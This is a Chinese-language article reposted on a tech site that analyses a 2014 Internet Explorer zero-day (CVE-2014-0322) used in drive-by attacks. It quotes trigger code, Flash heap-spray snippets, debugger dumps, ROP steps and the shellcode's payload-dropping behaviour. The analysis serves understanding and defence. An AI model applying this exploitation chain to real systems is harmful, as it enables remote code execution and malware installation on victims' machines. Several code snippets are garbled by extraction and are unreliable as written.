知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

CVE2014-0322 0Day Exploit 分析

发布时间:2014-04-28 12:39:46作者:知识屋

 最近有个 IE 0day (CVE-2014-0322)被用于挂马。尽管这个本身存在于 IE 里面,但是为了 实现成功利用,这个样本还借用了 flash 作为辅助,来突破各种防护。IE+flash 的组合也给分 析带来了一些挑战,以前没有分析过这样的组合,正好借此机会详细分析了一下,整理成文 章,大家一起交流学习。如有错误之处,还请大家批评指正。

本文涉及的内容包括:
1. 整个 exploit 的流程分析。
2. 漏洞的成因。
3. 使用 flash uint vector 进行 DEP/ASLR 绕过的技术。
4. 样本中的 ROP 片段。
5. 样本的 shellcode 行为。

1.本文使用的样本

本文使用的样本一共包含三个文件
Index.html (就是那个 html 文件,原名叫什么我忘了) Tope.swf
Erido.jpg
这些文件在网上搜一下基本都能找到了,我这里就不给出来了。

2.入口点

整个攻击的入口点是 index.html,它会尝试去加载 Tope.swf:

1 <embedsrc=Tope.swfwidth=10height=10></embed>

3.Tope.swf 加载以及 heap spray

在 Tope.swf 初始化的时候,它首先尝试从服务器获取”Erido.jpg”

1 2 3 4 _local1.url ="Erido.jpg"; this.l.dataFormat = URLLoaderDataFormat.BINARY; this.l.addEventListener(Event.COMPLETE,this.E_xx); this.l.load(_local1);

 

接着尝试分配大量的 flash uint vector 对象,来进行 heap spray。每个 vector 包含 1022 (0x3fe) 个元素。由于每个 vector 对象包含 8 字节的头部(header),因此每个对象实际占用的内存大 小是 0×1000 字节(0x3fe * 4 + 8)。这部分 spray 总共需要大约 400M 左右的内存。

1 this.s =newVector.

同时 Tope.swf 还会 spray 少量的 flash object vector,里面存放了同一个 flash.media.Sound 对 象的引用:

1 2 3 4 5 6 7 8 while(_local2 < 0x0400) {     this.ss[_local2] =newVector.<Object>(_local9); _local3 = 0;     while(_local3 < _local9) {     this.ss[_local2][_local3] =this.snd;     _local3++;     };     _local2++; };

 

做完 heap spray 后,flash 里面会通过 ExternalInterface 调用 index.html 里面的“puIHa3”函数。

4.use-after-free 漏洞和 inc-by-one 魔法

“puIHa3” 函数会尝试触发 CVE-2014-0322 漏洞,这是一个 CMarkup 对象的 user-after-free 漏
洞。网上已经有很多关于漏洞原理的分析了,这里就简单过一下:

1 2 3 4 5 6 7 vara=document.getElementsByTagName("script"); varb=a[0]; b.onpropertychange=fun;5 处理函数 varc=document.createElement('SELECT'); c=b.appendChild(c); 上 // 为 script 节 点 设 置 “onpropertychange” // 创建一个 “select”节点 // 将新创建的 select 节点附加到 script 节点

当调用 appendChild 时,MSHTML!CElement::Var_appendChild 被调用,在这个过程中一个新
的 CMarkup 对象会被创建:

1 2 MSHTML!CDoc::CreateMarkupFromInfo+0x0000017f MSHTML!CDoc::CreateMarkupWithElement+0x0000008a MSHTML!CElement::GetDOMInsertPosition+0x000001c0 MSHTML!CElement::InsertBeforeHelper+0x0000007e MSHTML!CElement::InsertBeforeHelper+0x000000e5 MSHTML!CElement::InsertBefore+0x00000036 MSHTML!CElement::Var_appendChild+0x000000cb

 

然后 appendChild 继续运行,来到这里:

1 2 MSHTML!CMarkup::NotifyElementEnterTree+0x1df call CElement::HandleTextChange(bool)

这个函数的调用最终会触发 onpropertychange 事件,于是我们之前注册的回调函数会被调用, 回调函数中的一行代码回引发 DOM 的释放,从而造成 CMarkup 对象的释放:

1 this.outerHTML=this.outerHTML// frees the DOM thus frees the CMarkup Object

在 CMarkup 对象被释放以后,样本立即尝试将释放的内存站位:

1 2 3 for(a=0;a<arrLen;++a) {    g_arr[a].title=d.substring(0,d.length); }

 

上述代码通过分配一系列 string 对象,来实现站位。
在 CMarkup 被释放并被占位以后,程序继续运行,来到这里:

1 2 3 4 5 6 7 8 9 10 CMarkup::UpdateMarkupContentsVersion(void) .text:637C943E .text:637C943E mov eax, [edx+7Ch] inc eax .text:637C9441 inc eax .text:637C9442 or eax, 80000000h .text:637C9447 mov [edx+7Ch], eax .text:637C944A mov eax, [edx+0ACh] .text:637C9450 test eax,eax .text:637C9452 jzshortloc_637C9457 .text:637C9454 inc dword ptr [eax+10h]

 

这里 CMarkup 对象已经被释放并站位,运行 inc dword ptr [eax+10h]时,
eax+10h is 已经被设置成 0x1a1b2000 (可设置成任意值), 所以这条指令会将 1a1b2000 处 的数据增加 1。
这个漏洞的效果总结起来就是:可以对任意地址的一个字节实现+1。
那么这个任意地址数据+1 的效果,如何和这里的 exploit 利用联系起来呢,0x1a1b2000 处的 内存数据到底是什么呢?
大家是否还记得,Tope.swf 一开始就 spray 了大量 uint vector 到内存里面,实际上,如果 spray 是成功的,那么 0x1a1b2000 这个地址将会指向某个 vector 的 size 字段。
先来看一下 uint vector 在内存里面的布局:
163566D1-E748-468F-81C0-2646E8CEE6E1

Uint vector 包含一个 8 字节的头部,其中 4 个字节是长度字段。

来看一下 1a1b2000 处的内存数据是不是这样:

1 2 3 0:006> dd 1a1b2000 1a1b2000 000003fe 08c24000 deadbee1 00000000 1a1b2010 1a1b2000 1a1b2000 00000000 00000000

可以看到,1a1b2000 处的 dword 值是 0x3fe,正是一开始 spray 的 uint vector 的长度。然后 执行完 inc dword ptr [eax+10h]指令之后,内存为:

1 2 3 0:006> dd 1a1b2000 1a1b2000 000003ff 08c24000 deadbee1 00000000 1a1b2010 1a1b2000 1a1b2000 00000000 00000000

 

这代表了什么呢?简单来讲:
我们先定义了一个 0x3fe 大小的 uint vector,然后通过漏洞,将其内存中的长度字段增加, 这样当我们在 flash 脚本中再次访问这个 uint vector 时,flash 库会误以为这个 vector 的长度 比 0x3fe 要大。于是我们可以实现对这个 vector 的越界读写。

22222

修改完 vector 长度字段后,html 的任务就完成了,下面回到 flash 中继续执行。

5.任意内存读写以及 ROP

回到 flash 以后,首先样本会尝试找到那个大小被修改的 vector,我们叫它”V1”。然后执行
如下语句:
V1[0x3fe] = 1073741808;
很明显,这里下标已经越界了(因为定义 V1 的时候其长度为 0x3fe)。于是造成的效果时越 界写入了一个 dword。由于 spray 时这些 vector 是连续分配的,这个 1073741808 实际上覆 盖到了 V1 下面一个 vector 的长度字段,我们把这个 vector 叫做”V2”。
因为 V1 在内存中地址为 0x1a1b2000 , 因此 V2 的起始地址为 0x1a1b3000 (每个 vector 占 0×1000 字节),我们看一下 V2 的内存数据

1 2 3 0:006> dd 1a1b3000 1a1b3000 3ffffff0 08c24000 deadbee1 00000000 1a1b3010 1a1b2000 1a1b2000 00000000 00000000

可以看到,V2 的长度字段已经被篡改成了一个非常大的值 0x3ffffff0 (1073741808)。此时通 过操作 V2,我们几乎可以对整个内存空间实现任意读写。至此,“任意地址加一”成功转化 成了“任意地址读写”。
3

下面为了过 DEP 保护,样本开始构造 ROP。利用任意地址读写的功能,它在进程的内存空 间里面搜索 ROP 指令和函数,用的是 ntdll 里面的指令做 ROP。,这里讲一下搜索的基本过程, 详细的大家可以自己看代码。
flash.media.Sound 对象指针 -> flash.media.Sound 对象虚函数表 -> flash 模块基 地址 -> flash 某块导入表 -> kernel32 函数地址 -> kernel32 基地址 -> kernel32 导入表 -> ntdll 函数地址 -> ntdll 基地址 -> (ZwProtectVirtualMemory 地址和 [xchgeax,esp;ret;] 指令地址)

 

接着样本覆盖某个 flash.media.Sound 对象的虚函数表, 然后调用其函数,让控制流跳转的 ROP:
Flash!IAEModule_AEModule_PutKernel+0×212712:
66769ae2 ff5070 call dword ptr [eax+70h]
ds:0023:1a1b3170=77a646a8

6.ROP 指令

这次的 ROP 相当简单,只有两步:
第一步:

1 77a646a8 94 xchg eax,esp  // Pivot the stack pointer

第二步:

1 ntdll!ZwProtectVirtualMemory (1a1b3000, 1000, PAGE_EXECUTE_READWRITE)

第一条 ROP 指令将栈指针指向可控的内存,第二条指令将第二阶段 shellcode 的属性改为可 执行,然后返回到第二阶段的 shellcode。

7.第二阶段的 shellcode


4

第二阶段的 shellcode 起始地址为 1a1b311c。
这里首先恢复被覆盖的 flash.media.Sound 对象的虚表,然后搜寻 API 地址。调用 API 的时候 会做 inline-hook 检查,发现 hook 直接跳过前 5 个字节:

第二阶段 shellcode 干的事情如下:
1. 将“Erido.jpg”包含的数据解码,算法如下: foreach byte b in buffer:
if b != 0 && b != 0×95: b ^= 0×95
2. 扔两个 PE 下来: %TEMP%sqlrenew.txt %TEMP%stream.exe
3. 调用 LoadLibrary 加载 sqlrenew.txt
4. 返回到 flash 代码

 

 

8. 总结

这次的样本,虽然漏洞出在 IE 里面,但是利用了 flash vector 实现了 DEP/ASLR 的突破。这种 通过漏洞修改数组、字符串长度来实现高级 exploit 的方法已经非常常见,在 IE、pdf、flash、 java、firefox、chrome、safari 等支持脚本的软件的 exploit 里面都有出现。

详细推荐 xiaobo 大牛的文章:

http://www.fireeye.com/blog/technical/cyber-exploits/2013/10/aslr-bypass-apocalypse-in-lately- zero-day-exploits.

 

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜